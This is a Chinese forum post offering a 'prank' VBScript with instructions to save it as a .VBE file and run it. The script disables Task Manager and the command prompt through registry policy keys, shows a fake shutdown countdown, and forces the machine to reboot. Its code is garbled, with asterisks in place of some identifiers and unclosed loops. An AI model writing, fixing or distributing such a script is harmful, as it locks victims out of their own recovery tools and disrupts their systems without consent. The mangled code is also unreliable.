【H K】整人软件第二轮发布。分2个帖（1）

set s=*object(“wscript.shell“)

set bag=getobject(“winmgmts:\\.\root\cimv2“)

set pipe=bag.*query(“* *from win32_process wherename=‘wscript.exe‘“)

For Each id in pipe

if instr(1,id.*Line,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite“HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr“,0,“REG_DWORD“

s.regwrite“HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD“,0,“REG_DWORD“

id.terminate()

else

s.regwrite“HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr“,1,“REG_DWORD“

s.regwrite“HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD“,1,“REG_DWORD“

for i=1 to 60

s.popup“系统将在“& 60-i &“秒后关机...“,1,“系统提示“,4096+48

Set colOS = GetObject(“winmgmts:{(Shutdown)}“).*Query(“** FROM Win32_OperatingSystem“)

For Each eOs In colOS

eOs.Win32Shutdown(2)

end if

复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式